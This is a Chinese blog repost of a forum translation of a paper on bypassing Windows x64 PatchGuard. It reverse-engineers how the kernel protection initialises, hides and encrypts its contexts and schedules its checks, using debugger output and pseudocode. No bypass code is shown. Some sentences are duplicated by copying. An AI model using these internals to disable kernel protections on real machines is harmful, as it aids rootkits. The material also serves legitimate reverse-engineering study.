64位windows系统的PatchGuard

转载

lionzl 于 2016-07-27 15:37:28 发布 1827 收藏 3
分类专栏： 计算机安全


计算机安全 专栏收录该内容
260 篇文章 4 订阅
订阅专栏

作 者：carlcarl
时 间：2012-03-26,17:35:21
链 接：http://bbs.pediy.com/showthread.php?t=148451

【说明】
1. 本文是意译，加之本人英文水平有限、windows底层技术属菜鸟级别，本文与原文存在一定误差，请多包涵。
2. 由于内容较多，从word拷贝过来排版就乱了。故你也可以下载附件。
3. 如有不明白的地方，各位雪友可通过附件中的联系方式联系我 ，同时建议各位参照原文阅读.....

【64位windows系统的PatchGuard】

原文：Bypassing PatchGuard on Windows x64.pdf

关于windows x64上的PatchGuard是干什么用的，我就不卖弄了。^. ^。PG的初始化代码作为nt!KeInitSystem的一部分，早在系统启动过程中就执行了。

3.1. 初始化PG Context
PG初始化的Entry point是KiDivide6432()，而事实上，这个函数根本没有做任何防止打补丁的保护（anti-patch protections）。其就完成了一个除法操作：

```
ULONG KiDivide6432 (
IN ULONG64 Dividend,
IN ULONG Divisor)
{
return (Dividend / Divisor );
}
```

这个函数看似没用，其实是隐藏了其真实意图！这个函数的被除数是nt!KiTestDividend（0x014b5fa3a053724c），除数是0xcb5fa3（专业术语是硬编码，通俗讲就是一个常量）。这个函数执行后，如果返回的商与常量0x5ee0b7e5不相等， nt!KeInitSystem()就会BSoD系统，bug check是0x5d（UNSUPPORTED_PROCESSOR），但事实上，系统并没有BSoD（好戏在后头^.^）。
这里的原理类似在病毒中常用的一个很巧妙的方法，就是故意触发异常，然后引导自己的代码执行。AMD64指令手册中说，如果执行div指令后的商溢出（商的大小为4个字节），就会产生一个除法错误。除法错误就会导致一个硬件异常，在内核中处理处理这个硬件异常，会间接初始化PG子系统。但是，微软为什么要怎么做呢？继续往下看。
有意思的是全局变量nt!KiTestDividend与另一个全局变量nt!KdDebuggerNotPresent有密切联系。即nt!KiTestDividend的最高字节取值即为nt!KdDebuggerNotPresent值。（蓝色部分）

stDividend的最高字节取值即为nt!KdDebuggerNotPresent值。（蓝色部分）

```
lkd> dq nt!KiTestDividend L1
fffff800`011766e0 014b5fa3`a053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800`011766e7 01
```

当然，如果系统设置了调试器，则KdDebuggerNotPresent为0，相应地，KiTestDividend为0x004b5fa3a053724c，这样得到的商就刚好是0x5ee0b7e5（0x004b5fa3a053724c÷0xcb5fa3 = 0x5ee0b7e5）（0x014b5fa3a053724c ÷0xcb5fa3 = 0x1A11F49AE 商溢出）。默认为1。这就意味着，如果在间接初始化PG子系统前，系统挂了一个调试器，则PG子系统不会被初始化，因为这个除法错误被调试器捕获了，PG也就不起作用了。当然，如果在PG子系统初始化后，再挂上调试器，设置断点等操作就会BSoD了 。

理解了KiTestDividend，下一步就是了解微软如何通过这个除法错误来引导执行PG子系统的初始化操作。这就需要从如下函数入手了：nt!KiDivideErrorFault()。注意，所有的除法错误的处理都会经过这个函数。KiDivideErrorFault()函数经过一系列的处理后，最终会调用nt!KiOp_Div()函数来处理这个除法错误。KiOp_Div()函数貌似会处理各种各样的除法错误，如除数为0。相应的调用堆栈如下：

```
kd> k
Child-SP RetAddr Call Site
fffffadf`e4a15f90 fffff800`010144d4 nt!KiOp_Div+0x29
fffffadf`e4a15fe0 fffff800`01058d75 nt!KiPreprocessFault+0xc7
fffffadf`e4a16080 fffff800`0104172f nt!KiDispatchException+0x85
fffffadf`e4a16680 fffff800`0103f5b7 nt!KiExceptionExit
fffffadf`e4a16800 fffff800`0142132b nt!KiDivideErrorFault+0xb7
fffffadf`e4a16998 fffff800`014212d3 nt!KiDivide6432+0xb
fffffadf`e4a169a0 fffff800`0142a226 nt!KeInitSystem+0x169
fffffadf`e4a16a50 fffff800`01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf`e4a16d40 fffff800`012b226e nt!Phase1Initialization+0x9
fffffadf`e4a16d70 fffff800`01044416 nt!PspSystemThreadStartup+0x3e
fffffadf`e4a16dd0 00000000`00000000 nt!KxStartSystemThread+0x16
```

KiOp_Div()函数在具体处理某个除法错误前，会首先调用nt!KiFilterFiberContext()函数。这个函数的反汇编代码如下：

```
nt!KiFilterFiberContext:
fffff800`01003ac2 53 push rbx
fffff800`01003ac3 4883ec20 sub rsp,0x20
fffff800`01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800`01003ace 488bd9 mov rbx,rcx
fffff800`01003ad1 4883c00b add rax,0xb
fffff800`01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800`01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800`01003ae2 e899fa4100 call nt!KiDivide6432+0x570
```

从这段代码可看成，其是在判断除法错误发生的地址是否就是nt!KiDivide6432 + 0xb。反汇编一下，我们就能看到：

```
nt!KiDivide6432+0xb:
fffff800`0142132b 41f7f0 div r8d
```

如果除法错误就发生在KiDivide6432 + 0xb的地方，则在KiDivide6432+0x570的地方就会引用一个未命名的符号（常量：0x2d8）。这个值确定了nt!KiInitializePatchGuard()函数是否回被执行，也正是这个函数完成了PG子系统的安装。

KiInitializePatchGuard()函数本身比较庞大，其初始化了一些contexts，这些contexts将用来监控特定的系统镜像（certain system images）、SSDT、processor GDT/IDT、特定的关键的MSRs（certain critical MSRs）以及一些与调试相关的例程。KiInitializePatchGuard()执行前，KiDivide6432还要做的一件事就是判断当前系统是否是以安全模式启动的，如果是，PG系统也不会启动：

```
nt!KiDivide6432+0x570:
fffff800`01423580 4881ecd8020000 sub rsp,0x2d8
fffff800`01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800`0142358e 0f8504770000 jne nt!KiDivide6432+0x580
```

...
nt!KiDivide6432+0x580:
fffff800 `0142ac98 b001 mov al,0x1
fffff800 `0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800 `0142aca1 c3 ret
如果系统不是以安全模式启动的，则KiInitializePatchGuard()就会开始初始化PG子系统了：
(1). 计算ntoskrnl.exe中的INITKDBG节的大小
已知nt!FsRtlUninitializeSmallMcb()函数就在INITKDBG节中。
将nt!FsRtlUninitializeSmallMcb()函数的地址传递给nt!RtlPcToFileHeader。
RtlPcToFileHeader在ntoskrnl.exe中搜索FsRtlUninitializeSmallMcb()后，第二个输出参数返回一个nt基地址。
将得到的nt基地址传给nt!RtlImageNtHeader()函数。这个函数返回一个PIMAGE_NT_HEADERS指针。
FsRtlUninitializeSmallMcb()的RVA = FsRtlUninitializeSmallMcb()地址 - nt基地址。
然后将nt基地址、获得的IMAGE_NT_HEADERS地址、RVA传递给nt!RtlSectionTableFromVirtualAddress()函数，从而计算出INITKDBG节的基地址。
kd> ? rax //别忘了，返回值在rax中
Evaluate expression: -8796076244456 = fffff800 `01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800 `01000218
+0x000 Name : [8] "INITKDBG" //我们要找的节
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020
做这个操作的目的是为了迷惑并隐藏PG将执行的代码。INITKDBG节中的代码会被拷贝到一个已分配好的保护上下文（allocated protection context）中。在验证阶段，会利用这个context。

(2). 定位PoolTagArray
收集完INITKDBG镜像节的信息后，KiInitializePatchGuard()函数执行了一个伪随机数产生器（pseudo-random number generations），主要是防破解！这里是第一次，后面还有很多。这个伪随机数产生器的代码与下类似：
fffff800 `0142362d 0f31 rdtsc //得到CPU自启动以后的运行周期
fffff800 `0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800 `01423637 48c1e220 shl rdx,0x20
fffff800 `0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800 `01423645 480bc2 or rax,rdx
fffff800 `01423648 488bcd mov rcx,rbp
fffff800 `0142364b 4833c8 xor rcx,rax
fffff800 `0142364e 488d442478 lea rax,[rsp+0x78]
fffff800 `01423653 4833c8 xor rcx,rax
fffff800 `01423656 488bc1 mov rax,rcx
fffff800 `01423659 48c1c803 ror rax,0x3
fffff800 `0142365d 4833c8 xor rcx,rax
fffff800 `01423660 498bc7 mov rax,r15
fffff800 `01423663 48f7e1 mul rcx
fffff800 `01423666 4889442478 mov [rsp+0x78],rax
fffff800 `0142366b 488bca mov rcx,rdx
fffff800 `0142366e 4889942488000000 mov [rsp+0x88],rdx

```
fffff800`01423676 4833c8 xor rcx,rax
fffff800`01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800`01423683 48f7e1 mul rcx
fffff800`01423686 48c1ea03 shr rdx,0x3
fffff800`0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800`0142368e 482bc8 sub rcx,rax
fffff800`01423691 8bc1 mov eax,ecx
```

产生的这第一个随机数用作pool tags数组的下标。这里的pool tags数组中的tag主要在PG分配内存时使用。关于如何定位这个pool tags数组，以及如何利用这个随机数索引，请参考以下代码：

```
fffff800`01423693 488d0d66c9bdff lea rcx,[nt]
fffff800`0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400] //rax中就是产生的随机数
```

于是，PoolTagArray = nt基地址 + 0x430400；RandomPoolTagIndex = eax。注意，每个tag占4个字节。PG所用的tags如下：

```
lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......
```

(3). 分配Context

```
Context = ExAllocatePoolWithTag(
           NonPagedPool,
           (InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
           PoolTagArray[RandomPoolTagIndex]
        );
```

这个Context的结构体称为PatchGuardContext，其头部被格式化为：PATCHGUARD_CONTEXT。这个结构体的前0x48个字节是从nt! CmpAppendDllSection()拷贝而来。这个函数的名字有一定的误导，其实质是用来在运行时解密PATCHGUARD_CONTEXT结构体的。在将CmpAppendDllSection()函数拷贝到PATCHGUARD_CONTEXT结构体后，KiInitializePatchGuard()函数就在PATCHGUARD_CONTEXT结构体中存放了一组函数地址，如下图：（注意，64位系统的函数地址是8个字节^.^）

KiInitializePatchGuard()函数保存好以上函数指针后，就再产生一个随机数，并从pool tags数组中获取对应的pool tag，这一个tag用于随后的内存分配操作，且保存在PATCHGUARD_CONTEXT结构体的偏移为0x188处。到此时为止，就产生了2个随机数，在后面加密PATCHGUARD_CONTEXT结构体时就用了这两个随机数。一个用作随机循环位值（保存在PATCHGUARD_CONTEXT结构体的偏移为0x18c处），另一个用作XOR种子（保存在PATCHGUARD_CONTEXT结构体的偏移为0x190处）。

(4). 获取虚拟地址空间的位数

主要是调用cpuid ExtendedAddressSize (0x80000008)扩展函数。所得的值存放在PATCHGUARD_CONTEXT结构体的的偏移为0x1b4处。

(5). 拷贝INITKDBG节

在初始化各个保护的sub-context（individual protection sub-contexts）前，要做的最后一个主要操作就是将INITKDBG节拷贝到PATCHGUARD_CONTEXT结构体中。伪代码如下：

```
memmove(
     (PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
     NtImageBase + InitKdbgSection->VirtualAddress,
     InitKdbgSection->VirtualSize);
```

注意：sizeof(PATCHGUARD_CONTEXT) = 0x1b8 //后文有注释

初始化了PG的context的主要部分后，接下来就是出书啊sub-contexts了。Sub-contexts代表了PG要保护的那些特定的东东。

3.2. 初始化受保护的结构体

PG要保护的那些结构体都有相应的sub-context来描述。这些sub-contexts结构体都是以PATCHGUARD_CONTEXT结构体开始的。初始化以下4个sub-contexts后，PG context（为区分sub-context，将其称为parent context）会被XOR。然后KiInitializePatchGuard()函数初始化一个timer并启动之。这个timer的作用是运行验证PG子系统收集到的数据的代码。除了以下结构体外，KiInitializePatchGuard()函数还分配了一些其它暂时无

G子系统收集到的数据的代码。除了以下结构体外，KiInitializePatchGuard()函数还分配了一些其它暂时无法识别的sub-contexts结构体，尤其是类型为0x4和0x5的结构体。

保护System images的sub-context的初始化
保护SSDT的sub-context的初始化
保护GDT/IDT/MSRs的sub-context的初始化
保护Debug routines的sub-context的初始化

(1). 保护System images的sub-context的初始化

PG要保护的关键内核镜像（certain key kernel images）有：ntoskrnl.exe、hal.dll、ndis.sys。这些镜像中的符号地址会传递给nt!PgCreateImageSubContext()函数：

```
NTSTATUS PgCreateImageSubContext(
            IN PPATCHGUARD_CONTEXT ParentContext,
            IN LPVOID SymbolAddress);
```

对于ntoskrnl.exe，传递的符号地址是nt!KiFilterFiberContext的地址；对于hal.dll，传递的符号地址是HalInitializeProcessor的地址；对于ndis.sys，传递的是其入口地址，这个入口地址是通过调用nt!GetModuleEntryPoint函数获得。PgCreateImageSubContext()函数保护这些images所采用的方法是产生可区分的PG sub-contexts。

第一个sub-context保存image的sections的checksum（有些例外）。第二个和第三个sub-context分别保存image的IAT和Import Directory的checksum。分配这些sub-contexts的所有例程都会调用一个共同的函数（shared routine。个人觉得将shared翻译成“共同的”或“相同的”比“共享的”好^.^），而这个“共同的”函数负责产生一个用于保存一段内存块的checksum，主要是使用这个随机的XOR值和保存在parent PG context结构体中的用作随机循环位的那个随机数（原文是：These routines all make use of a shared routine that is responsible for generating a protection sub-context that holds the checksum for a block of memory using the random XOR key and random rotate bits stored in the parent PatchGuard context structure.）。这个函数的定义如下：

```
typedef struct BLOCK_CHECKSUM_STATE
{
      ULONG Unknown;
      ULONG64 BaseAddress;
      ULONG BlockSize;
      ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
      IN PPATCHGUARD_CONTEXT Context,
      IN ULONG Unknown,
      IN PVOID BlockAddress,
      IN ULONG BlockSize,
      IN ULONG SubContextSize,
      OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
```

BLOCK_CHECKSUM_STATE结构体中的Unknown成员值来自nt!PgCreateBlockChecksumSubContext()函数的Unknown参数，在调试的时候，这个值是0，具体有何用，未知。

PgCreateBlockChecksumSubContext()函数计算checksum的算法很简单，其伪代码如下：

```
ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
    Checksum ^= *(PULONG64)BaseAddress;
    Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
    BlockSize -= sizeof(ULONG64);
    BaseAddress += sizeof(ULONG64);
}
```

```
// Checksum aligned blocks
while (BlockSize-- > 0)
{
    Checksum ^= *(PUCHAR)BaseAddress;
    Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
    BaseAddress++;
}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
    Checksum32 ^= (ULONG)Checksum;
    Checksum >>= 31;
} while (Checksum);
```

Checksum32就是最后得到的checksum，其会保存到BLOCK_CHECKSUM_STATE中。

为了达到初始化image sections的checksum的目的，nt!PgCreateImageSubContext()函数会调用如下函数：

```
PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN PVOID SymbolAddress,
    IN ULONG SubContextSize,
    IN PVOID ImageBase);
```

PgCreateImageSectionSubContext()函数首先检测nt!KiOpPrefetchPatchCount值是否为0。如果不为0，则创建的块校验和上下文（block checksum context）就不会覆盖image中的所有sections。否则，这个函数就会枚举image中的所有节，并为每个节都计算一个checksum，但不包括INIT、PAGEVRFY、PAGESPEC和PAGEKD这些节。

另外，PgCreateImageSectionSubContext()函数还会调用nt!PgCreateBlockChecksumSubContext()函数来计算image的IAT和Import Directory。

(2). 保护SSDT的sub-context的初始化

第三方驱动开发者HOOK得最多的就是SSDT了。Win7 x64系统下SSDT表与Windows XP x86系统下的SSDT表不一样（因为我很久没搞SSDT HOOK了，以前搞过Windows XP x86下的SSDT HOOK，故这里以之作为比较对象^.^）。

原文中，作者获取函数地址的公式是：dwo(nt!KiServiceTable+n)+nt!KiServiceTable（n=0,1,2…）。但在我的系统上用这个公式测试，却不对，应该是系统版本问题 。以下是我的公式推导方法：

查看函数地址，如下：

由于作者得到的是nt!NtMapUserPhysicalPagesScatter()函数，我直接在Windbg中查看该函数的地址，如下：

```
kd> u nt!NtMapUserPhysicalPagesScatter l1
nt!NtMapUserPhysicalPagesScatter:
fffff800`040cd190 48895c2408      mov     qword ptr [rsp+8],rbx //这与原文的488bc4 mov rax,rsp 也不一样 ，版本问题?
```

这里得到的NtMapUserPhysicalPagesScatter()函数地址为fffff800`040cd190

再看看nt!KiServiceTable的地址，如下：

```
kd> dd nt!KiServiceTable l4  //用这条命令的原因是作者用了dwo，所以我就顺便把KisServiceTable的开始4字节内容显示出来
fffff800`03cbcb00  04106900 02f6f000 fff72d00 031a0105
```

nt!KiServiceTable的地址 = fffff800`03cbcb00；offset = dwo(nt!KiServiceTable) = 04106900。

KiServiceTable、offset、Address三者的关系：

fffff800`040cd190 - fffff800`03cbcb00 = 410690（很眼熟 ），与04106900是什么关系我就不多说了。

所以，最后得到的公式为：(dwo(nt!KiServiceTable+n)>>4)+nt!KiServiceTable（n=0,1,2…）。这个公式与http://bbs.dbgtech.net/forum.php?mod=viewthread&tid=360一样（看来要多逛论坛了 ）。至于为什么

要”>>4”，作者的没有，以上帖子已有说明 ……
然后关于Win7 x64系统下的SSDT表的格式，我就不多说了，相信你已知晓 ……
PG在nt!PgCreateBlockChecksumSubContext()函数中保护了nt!KiServiceTable和nt!KeServiceDescriptorTable。关于这个函数的调用方法如下：

```
PgCreateBlockChecksumSubContext(
    ParentContext,
    0,
    KeServiceDescriptorTable->DispatchTable, // KiServiceTable
    KiServiceLimit * sizeof(ULONG),
    0,
NULL);

PgCreateBlockChecksumSubContext(
    ParentContext,
    0,
    &KeServiceDescriptorTable,
    0x20,
    0,
    NULL);
```

(3). 保护GDT/IDT的sub-context的初始化
GDT是用来描述内核所使用的内存段（memory segments）的。对恶意的应用程序来说，GDT是有利可图的，因为通过修改一些特定的GDT入口就可以让不具有特权等级的（non-privileged）、用户模式的应用程序能够修改内核内存。IDT对恶意的context和合法的context来说都是很有用的。在某些情况下，第三方可能希望在特定的硬件或软件中断传到内核前就截获它们，即hook IDT。
PG保护GDT/IDT的原理，主要是调用nt!PgCreateBlockChecksumSubContext()函数来实现的，当然需传入各自的context。由于保存GDT和IDT信息的寄存器是与给定的处理器相关联的，那么PG就需要在每个处理器上为这2个表创建互不影响的context。要为给定的处理器获取GDT和IDT的地址，PG首先调用nt!KeSetAffinityThread()函数，以确保自己运行在这个特定的处理器上。之后，PG调用nt!KiGetGdtIdt()函数来获得GDT和IDT的基地址。这个函数的定义如下：

```
VOID KiGetGdtIdt(
    OUT PVOID *Gdt,
    OUT PVOID *Idt);
```

虽然获取GDT和IDT基地址，是用的一个函数，但在真正进行保护GDT和IDT时，是在两个不同的函数中进行的。它们分别是：nt!PgCreateGdtSubContext() 和 nt!PgCreateIdtSubContext()。定义如下：

```
PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);

PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN UCHAR ProcessorNumber);
```

这两个函数会在所有的处理器上被调用。nt!KeNumberProcessors指示哪个处理器，它们就在哪个处理器上调用。

(4). 保护Processor MSRs的sub-context的初始化
最新最棒的处理器已经极大地优化了用户模式切换到内核模式所使用的方法。在此之前，大多数的OS，包括Windows，都使用一个软中断来处理系统调用。新一代的处理器采用命令来进行系统调用，如syscall何sysenter命令。这就可能用到MSR（processor-defined Model-Specific Register）。MSR就包含了即将调用的内核函数（与用户态函数对应）的地址。在x64架构上，控制该地址的MSR被称为LSTAR（Long System Target-Address Register） MSR。与MSR相关联的code是0xc0000082。在系统启动过程中，x64内核将MSR初始化为nt!KiSystemCall64()函数的地址。
微软为了防止第三方通过改变LSTAR MSR的值，从而hooking系统调用，PG在PgCreateMsrSubContext()函数中

微软为了防止第三方通过改变LSTAR MSR的值，从而hooking系统调用，PG在PgCreateMsrSubContext()函数中创建了类型为7（type 7）的sub-context结构体并缓存MSR的值：

```
PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext,
    IN UCHAR Processor);
```

与GDT/IDT的保护一样，LSTAR MSR的值也是与处理器相关的，需在每个处理器上都各自保留一份。为确保是从正确的处理器上获得的MSR值，PG调用nt!KeSetAffinityThread函数以确保获取MSR值的线程是运行在相应的处理器上。

(5). 保护Debug routines的sub-context的初始化

PG创建了一个特殊的sub-context（type 6）结构体来保护某些内核函数，这些内部函数被内核用着调试目的，如nt!KdpStub()函数等。当发生异常后，调试器在允许内核分发这个异常前，会先调用nt!KdpStub()函数来处理这个异常。实际上，这个函数是在nt!KiDebugRoutine()函数中调用的，nt!KiDebugRoutine()函数实质又是一个全局变量，调用nt!KiDebugRoutine()函数的是nt!KiDispatchException()。所以，这个调用路径是：nt!KiDispatchException()　nt!KiDebugRoutine()　nt!KdpStub()。这些过程都是在如下函数中完成的：

```
PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
    IN PPATCHGUARD_CONTEXT ParentContext);
```

这个sub-context初始化后，其好像包含了nt!KdpStub()、nt!KdpTrap()和nt!KiDebugRoutine()函数的地址。这个sub-context的作用好像是为了防止第三方驱动修改nt!KiDebugRoutine()函数的地址以指向别的地方。可能还有其它用处……

3.3. 保护PG Contexts自身

创建并初始化好以上contexts后，PG就要保护这些contexts了。为了增加定位这些PG Contexts的难度，所有的contexts都与一个随机产生的64-bit值进行了XOR操作（即加密）。进行这个加密操作的函数正是nt!PgEncryptContext()。这个函数按行XOR提供的context的buffer，并返回这个XOR值。该函数的定义如下：

```
ULONG64 PgEncryptContext(
    IN OUT PPATCHGUARD_CONTEXT Context);
```

nt!KiInitializePatchGuard ()函数初始化完所有sub-contexts后，下一件事就是加密primary PG context了（parent context）。要完成这个功能，第一步就是将栈上的context拷贝一份，以便其在被加密后，PG能以纯文本的格式（plain-text）引用这个context。备份context的目的是以后的验证程序在执行时可以加入队列中（需要参考context结构体的一些属性）。做好备份后，就是调用nt!PgEncryptContext()函数对primary PG context进行加密了。一旦验证程序被加入到队列后，以等候执行，context的纯文本格式的备份就不再需要了，就会被清0。伪代码如下：

```
PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;

memmove(
    &LocalCopy,
    Context,
    sizeof(PATCHGUARD_CONTEXT)); // 0x1b8

XorKey = PgEncryptContext(
    Context);

... Use LocalCopy for verification routine queuing ...

memset(  //清空备份
    &LocalCopy,
    0,
    sizeof(LocalCopy));
```

3.4. 执行PG验证函数

在初始化所有的sub-contexts后，且在加密primary PG context前，nt!KiInitializePatchGuard ()函数还做了一个关键性操作（PG有很多这样的操作），就是从存储在primary PG context中，偏移为0x168的一组函

数指针中随机选取一个函数，选中的函数就会被间接调用以处理PG相关验证操作。
选中验证函数后，primary PG context就会被加密了。加密完成后，nt!KiInitializePatchGuard ()函数就会初始化一个timer，这个timer就会利用之前分配的那些sub-contexts。初始化这个timer的函数正是nt!KeInitializeTimer()，而传递给它的指向timer结构体的指针的实参实际上是sub-context结构体的一部分。初始化一结束，这个timer结构体之后0x88处的值是0x1131（WORD）。经过反汇编，这2个字节被传递给“xor [rcx], edx”指令。再看看nt!CmpAppendDllSection()函数，你会发现它的第一条指令正好包含0x1131：

```
kd> u nt!CmpAppendDllSection l 1
nt!CmpAppendDllSection:
fffff800`041b513e 2e483111        xor     qword ptr cs:[rcx],rdx  //第一条指令
kd> dw nt!CmpAppendDllSection l 2
fffff800`041b513e  482e 1131
```

现在还没发现有什么用，也许后面会用到……
初始化timer结构体后，PG就开始调用nt!PgInitializeTimer ()函数将timer加入队列中，以等候处理。该函数的定义如下：

```
VOID PgInitializeTimer(
    IN PPATCHGUARD_CONTEXT Context,
    IN PVOID EncryptedContext,
    IN ULONG64 XorKey,
    IN ULONG UnknownZero);
```

nt!PgInitializeTimer ()这个函数做了一些比较奇怪的事。首先，初始化timer的DPC竟然是之前从primary PG context中随机选取的验证函数（取名DeferredRoutine）。其中，有两个实参会传递给DeferredRoutine()函数：EncryptedContext指针和XorKey。DeferredRoutine()函数会将这两个参数做XOR操作，从而产生一个彻头彻尾的伪指针（completely bogus pointer）。这个伪指针又会被当作DeferredContext实参传递给nt!KeInitializeDpc()函数。最终的伪代码如下：

```
KeInitializeDpc(
    &Dpc,
    Context->TimerDpcRoutine,
    EncryptedContext ^ ~(XorKey << UnknownZero));
```

初始化DPC后，就是调用nt!KeSetTimer()函数将DPC加入队列了。DPC的DueTime参数也是随机产生的。设置好timer后，nt!PgInitializeTimer()函数就返回了。
到此时，nt! KiInitializePatchGuard()函数就完成了它的使命，并返回到nt!KiFilterFiberContext ()函数中。那么这个除法错误就得到了纠正且恢复执行nt!KiDivide6432()函数中的div指令的下一条指令了。系统就可以正常启动了　　。
然而到目前为止，工作才完成了一半　　！接下来的问题是这个验证程序是如何被调用起来的。很明显，这与DPC例程相关。我们知道这个验证程序是从primary PG context中随机选取的，事实上定位这个函数指针数组的方法是反汇编nt! KiInitializePatchGuard()函数：

```
nt!KiDivide6432+0xec3:
fffff800 ‘01423e74 8bc1 mov eax,ecx
fffff800 ‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800 ‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]
```

同样，隐藏pool tag array数组所采用的技术与此相同。即nt基地址+0x430428即可得DPC函数：

```
lkd> dqs nt+0x430428 L3
fffff800 ‘01430428 fffff800 ‘01033b10 nt!KiScanReadyQueues
fffff800 ‘01430430 fffff800 ‘011010e0 nt!ExpTimeRefreshDpcRoutine  //三个中，此易于理解
fffff800 ‘01430438 fffff800 ‘0101dd10 nt!ExpTimeZoneDpcRoutine
```

从以上信息只能推测出这些DPC函数的可能排列，但还没有从本质上说明如何引导这些验证context的函数执行起来。
从逻辑上讲，下一步是理解这些函数如何基于DeferredContext参数（从nt!PgInitializeTimer ()函数传递而来）进行操作。这个DeferredContext就指向被加密关键字XOR过的PG context。以上三个函数中，就nt!ExpTimeRefreshDpcRoutine ()函数易于理解。nt!ExpTimeRefreshDpcRoutine ()函数的开始几条反汇编指令如下：

```
lkd> u nt!ExpTimeRefreshDpcRoutine  //我的OS上的指令与之不同，保持与原文一致
```

```
nt!ExpTimeRefreshDpcRoutine:
fffff800 `011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800 `011010e5 4883ec68 sub rsp,0x68
fffff800 `011010e9 b801000000 mov eax,0x1
fffff800 `011010ee 0fc102 xadd [rdx],eax
fffff800 `011010f1 ffc0 inc eax
fffff800 `011010f3 83f801 cmp eax,0x1
```

DeferredRoutine()函数的第一个参数是一个DPC指针，第二个参数是一个DeferredContext指针。根据x64函数调用约定，rcx保存的就相当于是DPC指针，rdx保存的就相当于是DeferredContext指针。但这会有一个问题　　！这个函数的第4条指令试图在DeferredContext的第一部分上执行xadd指令。根据之前的介绍，传递给DPC例程的DeferredContext是一个彻头彻尾的伪指针，这是不是就意味着反引用（de-reference）这个指针就会立即BSoD呢？显然不是的，这就是另外一个通过触发异常进行间接引用（misdirection case）的杰作！

事实上，nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()和 nt!KiScanReadyQueues()函数都是相当合法的，只是没有直接做什么事情而已，而是间接地执行了一些code。这三个函数所做的事就是反引用（de-reference）DeferredContext指针：

```
lkd> u fffff800 `01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800 `01033b43 8b02 mov eax,[rdx]
lkd> u fffff800 `0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800 `0101dd1e 0fc102 xadd [rdx],eax
```

一旦DeferredContext操作指针，就会产生一个一般保护异常（General Protection Fault），这个异常会传递给nt!KiGeneralProtectionFault()函数。这个函数最终会执行异常处理函数，这个异常处理函数与触发这个错误的函数（如nt!ExpTimeRefreshDpcRoutine()）有关联。在x64系统上，这个异常处理code与32-bit系统上的完全不同。这些函数并不是在运行时注册异常处理函数（exception handlers），而是在函数编译的过程中就指定了异常处理函数。这样做的好处是这些函数可以通过标准的API来查询，如nt!RtlLookupFunctionEntry()。这个函数将查询的目标函数的信息存放在RUNTIME_FUNCTION结构体中并返回之。要注意这个结构体中还包含一些很重要的unwind信息。这个unwind信息中就包含了异常处理函数的地址。你可以通过以下方式来查看nt!ExpTimeRefreshDpcRoutine()函数的异常处理函数：

```
lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000 `01cdaa4c for:
(fffff800 `011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800 `011011d0) nt!ExpCenturyDpcRoutine
Exact matches:
nt!ExpTimeRefreshDpcRoutine = <no type information>
BeginAddress = 00000000 `001010e0
EndAddress = 00000000 `0010110d
UnwindInfoAddress = 00000000 `00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800 `01101120 8bc0 mov eax,eax
fffff800 `01101122 55 push rbp
fffff800 `01101123 4883ec30 sub rsp,0x30
fffff800 `01101127 488bea mov rbp,rdx
fffff800 `0110112a 48894d50 mov [rbp+0x50],rcx
```

